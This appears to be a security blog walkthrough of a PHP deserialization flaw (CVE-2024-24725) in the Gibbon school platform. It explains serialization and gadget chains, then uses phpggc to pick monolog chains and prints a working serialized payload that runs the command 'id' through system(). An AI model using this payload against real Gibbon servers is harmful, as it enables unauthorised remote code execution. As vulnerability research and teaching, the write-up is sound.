Overview
The Gibbon web application v26.0.00 has a PHP deserialization vulnerability provides a useful case study for understanding how this vulnerability class can be identified and translated into a working exploit.
In some other articles, I already explained the concept of serialization and why it used in web application design, The relevant concepts are summarized below.
Serialization is the process of converting complex data structures, such as objects and their fields, into a format that can be sent and received as a sequential stream of bytes. Serializing data makes it much simpler to write complex data to inter-process memory, a file, or a database or send complex data, for example, over a network, between different components of an application, or in an API call. The concept of serialization is very often used in application design to exchange data. Data objects get serialized, send and on the receiving end, deserialized for further processing. Many programming languages offer native support for serialization where some languages serialize objects into binary formats, whereas others use different string formats.
The security issue arises when an application deserializes attacker-controlled data.
Insecure deserialization is when user-controllable data is deserialized by a web application. This enables an attacker to manipulate serialized objects in order to pass harmful data into the application code. It is even possible to replace a serialized object with an object of an entirely different class. More importantly, objects of any class that is available to the website will be deserialized and instantiated, regardless of which class was expected. For this reason, insecure deserialization is sometimes known as an “object injection” vulnerability. By doing this, an object of an unexpected class might cause an exception, however, the damage may already be done because many deserialization-based attacks are completed before deserialization is finished. This means that the deserialization process itself can initiate an attack, even if the web application’s own functionality does not directly interact with the malicious object.
Just a quick example of serialized data, so we understand the structure. We will use PHP serialization string format. Take this object Clock.
$clock->type = "cuckoo";
$clock->isSold = true;
When serialized, this object may look something like below:
O:5:"Clock":2:{s:4:"type":s:6:"cuckoo"; s:6:"isSold":b:1;}
O:5:"Clock": - An object with the 4-character class name "Clock"
2: - the object has 2 attributes
s:4:"type" - The key of the first attribute is the 4-character string "type"
s:6:"cuckoo" - The value of the first attribute is the 6-character string "cuckoo"
s:6:"isSold" - The key of the second attribute is the 6-character string "isSold"
b:1 - The value of the second attribute is the boolean value true
The native methods for PHP serialization are serialize() and unserialize(). So If you have source code access, you should start by looking for unserialize() anywhere in the code to see if there is an opportunity to find and exploit an insecure deserialization vulnerability.
Let’s now have a closer look at the Gibbon web application and try to correlate the above theory with the discovered deserialization vulnerability at the web application.
If you read the description in the CVE published for Gibbon, it mentions a PHP deserialization vulnerability via columnOrder in a POST request to the modules/System%20Admin/import_run.php&type=externalAssessment&step=4 .
So let’s have a look at the file import_run.php and check if we can find the unserialize() function that is typically used by PHP. The good thing is that Gibbon is open source so all the source code is available for analysis.
And indeed, there is unserialize() function in the file import_run.php and more important it has user-controllable parameters, such as columnOrder and columnText which makes this a potential candidate for insecure deserialization.
//STEP 3 & 4, DRY & LIVE RUN -----------------------------------------------------------------------------------
elseif ($step==3 || $step==4) {
// Gather our data
$mode = $_POST['mode'] ?? null;
$syncField = $_POST['syncField'] ?? null;
$syncColumn = $_POST['syncColumn'] ?? null;
$csvData = $_POST['csvData'] ?? null;
if ($step==4) {
// DESERIALIZATION with user-controllable data!
$columnOrder = isset($_POST['columnOrder'])? unserialize($_POST['columnOrder']) : null;
$columnText = isset($_POST['columnText'])? unserialize($_POST['columnText']) : null;
} else {
$columnOrder = $_POST['columnOrder'] ?? null;
$columnText = $_POST['columnText'] ?? null;
}
$fieldDelimiter = isset($_POST['fieldDelimiter'])? urldecode($_POST['fieldDelimiter']) : null;
$stringEnclosure = isset($_POST['stringEnclosure'])? urldecode($_POST['stringEnclosure']) : null;
$ignoreErrors = $_POST['ignoreErrors'] ?? false;
But the big question is still how to put this potential deserialization vulnerability into a working exploit where you can pull off a remote code execution or establish a privileged escalation.
A bit of theory again before we move on… You have different ways to leverage a deserialization vulnerability by tampering the data, such as the object attributes or modifying data types where you can change the behavior and outcome of application functionality. Another way, is to use the application functionality that is associated with the deserialized data. An example of this could be an use case where deseralized data is used to upload a personal image file as part of creating a new user. If the attacker can manipulate the filename object during deserialization process, he/she potentially could change the image file to point to a malicious malware file which will then be uploaded in the application.
However, the most common way to leverage a deserialization vulnerability is to make use of the so called Magic Methods and Gadget Chains.
Let’s quickly explain both concepts.
Magic methods are a special subset of methods that you do not have to explicitly invoke. Instead, they are invoked automatically whenever a particular event or scenario occurs. Magic methods are a common feature of object-oriented programming in various languages. They are sometimes indicated by prefixing or surrounding the method name with double-underscores.
Developers can add magic methods to a class in order to predetermine what code should be executed when the corresponding event or scenario occurs. Exactly when and why a magic method is invoked differs from method to method. One of the most common examples in PHP is __construct(), which is invoked whenever an object of the class is instantiated, similar to Python’s __init__. Important in this context, some languages have magic methods that are invoked automatically during the deserialization process. For example, PHP’s unserialize() method looks for and invokes an object’s __wakeup() magic method.
To construct a simple exploit, you typically would look for classes containing deserialization magic methods, and check whether any of them perform dangerous operations on controllable data. You can then pass in a serialized object of this class to use its magic method for an exploit.
Gadget Chains
Classes containing these deserialization magic methods can be used to initiate more complex attacks involving a long series of method invocations, known as a gadget chain. It is important to understand that a gadget chain is not a payload of chained methods constructed by the attacker. All of the code already exists on the web application. The only thing the attacker controls is the data that is passed into the gadget chain. This is typically done using a magic method that is invoked during deserialization, sometimes known as a kick-off gadget.
Now this a lot of information, but how do we apply this in practice? Manually identifying gadget chains is a complex process that generally requires a deep understanding of the application and access to its source code.
However, to make our life easier, there are pre-built gadget chains that you can try first.
Ambionics has build a library of pre-built gadget chains designed for PHP based web applications, called phpggc.
If installed, you can check which pre-built gadget chains are available. It will tell you the name of the framework/library, the version of the framework/library for which gadgets are for, the type of exploitation such as RCE, File Write, File Read, Include…, and the vector (kickoff gadget) to trigger the chain after the unserialize (__destruct(), __toString(), offsetGet(), …)
kali@cerberus:~/phpggc$ phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/RCE1 4.0.2 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct
CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
Dompdf/FD2 ? < 1.1.1 File delete __destruct *
Drupal7/FD1 7.0 < ? File delete __destruct *
Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct *
Drupal9/RCE1 -8.9.6 <= 9.4.9+ RCE (Function call) __destruct *
Guzzle/FW1 4.0.0-rc.2 <= 7.5.0+ File write __destruct
Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct *
Kohana/FR1 3.* File read __toString *
Laminas/FD1 <= 2.11.2 File delete __destruct
Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct *
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE11 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
Laravel/RCE12 5.8.35, 7.0.0, 9.3.10 RCE (Function call) __destruct *
Laravel/RCE13 5.3.0 <= 9.5.1+ RCE (Function call) __destruct *
Laravel/RCE14 5.3.0 <= 9.5.1+ RCE (Function call) __destruct
Laravel/RCE15 5.5.0 <= v9.5.1+ RCE (Function call) __destruct
Laravel/RCE16 5.6.0 <= v9.5.1+ RCE (Function call) __destruct
Magento/FW1 ? <= 1.9.4.0 File write __destruct *
Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct
Magento2/FD1 * File delete __destruct *
Monolog/FW1 3.0.0 <= 3.1.0+ File write __destruct *
Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+ RCE (Function call) __destruct
Monolog/RCE2 1.4.1 <= 2.7.0+ RCE (Function call) __destruct
Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct
Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct *
Monolog/RCE5 1.25 <= 2.7.0+ RCE (Function call) __destruct
Monolog/RCE6 1.10.0 <= 2.7.0+ RCE (Function call) __destruct
Monolog/RCE7 1.10.0 <= 2.7.0+ RCE (Function call) __destruct *
Monolog/RCE8 3.0.0 <= 3.1.0+ RCE (Function call) __destruct *
Monolog/RCE9 3.0.0 <= 3.1.0+ RCE (Function call) __destruct *
Phalcon/RCE1 <= 1.2.2 RCE __wakeup *
Phing/FD1 2.6.0 <= 3.0.0a3 File delete __destruct
PHPCSFixer/FD1 <= 2.17.3 File delete __destruct
PHPCSFixer/FD2 <= 2.17.3 File delete __destruct
PHPExcel/FD1 1.8.2+ File delete __destruct
PHPExcel/FD2 <= 1.8.1 File delete __destruct
PHPExcel/FD3 1.8.2+ File delete __destruct
PHPExcel/FD4 <= 1.8.1 File delete __destruct
PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct *
Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
Slim/RCE1 3.8.1 RCE (Function call) __toString
Smarty/FD1 ? File delete __destruct
Smarty/SSRF1 ? SSRF __destruct *
Spiral/RCE1 2.7.0 <= 2.8.13 RCE (Function call) __destruct
Spiral/RCE2 -2.8+ RCE (Function call) __destruct *
SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
SwiftMailer/FD2 5.4.6 <= 5.x-dev File delete __destruct *
SwiftMailer/FR1 6.0.0 <= 6.3.0 File read __toString
SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
SwiftMailer/FW3 5.0.1 File write __toString
SwiftMailer/FW4 4.0.0 <= ? File write __destruct
Symfony/FD1 v3.2.7 <= v3.4.25 v4.0.0 <= v4.1.11 v4.2.0 <= v4.2.6 File delete __destruct
Symfony/FW1 2.5.2 File write DebugImport *
Symfony/FW2 3.4 File write __destruct
Symfony/RCE1 v3.1.0 <= v3.4.34 RCE (Command) __destruct *
Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct *
Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct *
Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct *
Symfony/RCE5 5.2.* RCE (Function call) __destruct
Symfony/RCE6 v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13 RCE (Command) __destruct *
Symfony/RCE7 v3.2.0 <= v3.4.34 v4.0.0 <= v4.2.11 v4.3.0 <= v4.3.7 RCE (Function call) __destruct
Symfony/RCE8 v3.4.0 <= v4.4.18 v5.0.0 <= v5.2.1 RCE (Function call) __destruct
TCPDF/FD1 <= 6.3.5 File delete __destruct *
ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct *
ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct *
ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct *
ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct *
ThinkPHP/RCE3 -6.0.1+ RCE (Function call) __destruct
ThinkPHP/RCE4 -6.0.1+ RCE (Function call) __destruct
Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct *
vBulletin/RCE1 -5.6.9+ RCE (Function call) __destruct
WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString *
WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString *
WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
Yii/RCE1 1.1.20 RCE (Function call) __wakeup *
Yii/RCE2 1.1.20 RCE (Function call) __destruct
Yii2/RCE1 <2.0.38 RCE (Function call) __destruct *
Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct *
ZendFramework/FD1 ? <= 1.12.20 File delete __destruct
ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct *
ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString *
ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct
ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct *
ZendFramework/RCE5 2.0.0rc2 <= 2.5.3 RCE (Function call) __destruct
Yeah, this definitely helps, but we need to figure out first which gadget chains are supported by our Gibbon web application.
If we look at the directory where Gibbon is installed, typically /var/www or /var/www/html depending on the webroot setting, you will find a directory vendor. Running the ls command will list the framework/libraries that are installed and supported by the web application.
root@cuckoo:/var/www/vendor# ls
aura ezyang league moneyphp omnipay phpoffice setasign
autoload.php firebase maennchen monolog paragonie phpseclib slim
clue fzaninotto markbaker mpdf parsecsv psr symfony
composer google matthewbdaly myclabs php-http ralouphie tecnickcom
eluceo guzzlehttp microsoft nikic phpmailer robthree twig
And indeed you can see that there are frameworks/libraries listed that are part of our gadget chain list, such as monolog and symfony.
Ok, so we have some pre-built gadget chains options that we can try, but we also need to figure if the versions installed are supported.
Let’s explore monolog a bit deeper and check CHANGELOG.md which version is installed.
root@cuckoo:/var/www/vendor/monolog/monolog# cat CHANGELOG.md
### 1.27.1 (2022-06-09)
* Fixed MandrillHandler support for SwiftMailer 6 (#1676)
* Fixed StreamHandler chunk size (backport from #1552)
### 1.27.0 (2022-03-13)
* Added $maxDepth / setMaxDepth to NormalizerFormatter / JsonFormatter to configure the maximum depth if the default of 9 does not work for you (#1633)
Version 1.27.1 is installed, so the next question is which pre-built monolog gadget chains can we use?
There is a nice python script test-gc-compatibility.py as part of phpggc that does this job for us.
kali@cerberus:~/phpggc$ python ./test-gc-compatibility.py monolog/monolog:1.27.1 monolog/fw1 monolog/rce1 monolog/rce2 monolog/rce3 monolog/rce4 monolog/rce5 monolog/rce6 monolog/rce7 monolog/rce8 monolog/rce9 -w 4
Running on PHP version PHP 8.2.12 (cli) (built: Jan 8 2024 02:15:58) (NTS).
Testing 1 versions for monolog/monolog against 10 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/fw1 ┃ monolog/rce1 ┃ monolog/rce2 ┃ monolog/rce3 ┃ monolog/rce4 ┃ monolog/rce5 ┃ monolog/rce6 ┃ monolog/rce7 ┃ monolog/rce8 ┃ monolog/rce9 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 1.27.1 │ OK │ KO │ OK │ OK │ KO │ KO │ OK │ OK │ OK │ KO │ KO │
└─────────────────┴─────────┴─────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┘
kali@cerberus:~/phpggc$
So we have quite some options that we can test.
To generate the serialized data with the payload for a particular gadget chain, you can run the following command: ./phpggc -f monolog/rce1 system id which generates the gadget chain monolog/rce1 with the payload. In this case, the serialized data gets deserialized and the id command gets executed using the system function call.
It is important, that it does not really matter if the instantiation of this object makes logical sense from an application perspective. We are manipulating the serialized data generated by the web application and pushing it to a supported gadget chain that will generate an object instance and hopefully execute the payload during the deserialization process. The -f option applies the fast-destruct technique, so that the object is destroyed right after the unserialize() call, as opposed to at the end of the script.
kali@cerberus:~/phpggc$ ./phpggc -f monolog/rce1 system id
a:2:{i:7;O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:3;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}i:7;i:7;}
Important: there are null bytes in the serialized data, for example *socket is \x00*\x00socket and therefore the size is 9 and not 7.
This applies for all the *items.
I have created an exploit that is are published as official module Gibbon Online School Platform Authenticated RCE [CVE-2024-24725] in Metasploit. If you review the module, you will see most of the above theory and discussions back in the exploit code.
Overview
Deserialization flaws remain a recurring weakness in web-application design. Here are some simple steps to identify and exploit potential deserialization vulnerabilities in the application code:
- get access to the application source code;
- search for the language specific serialization and deserialization functions in the code. For PHP, these functions are
serialize()andunserialize(); - check if user-controlled parameters are part of serialize and deserialize process;
- check the availability of pre-built gadget chains that are supported by your web application and can be leveraged; and
- Repeat the request as needed until the vulnerable workflow executes the payload.
References
- CVE-2024-24725
- MITRE CWE-502: Deserialization of Untrusted Data
- OWASP CWE-502: Deserialization of Untrusted Data
Credits
Credits go to the security researchers below whom discovered this vulnerability
SecondX.io Research Team (Ali Maharramli, Fikrat Guliev, Islam Rzayev )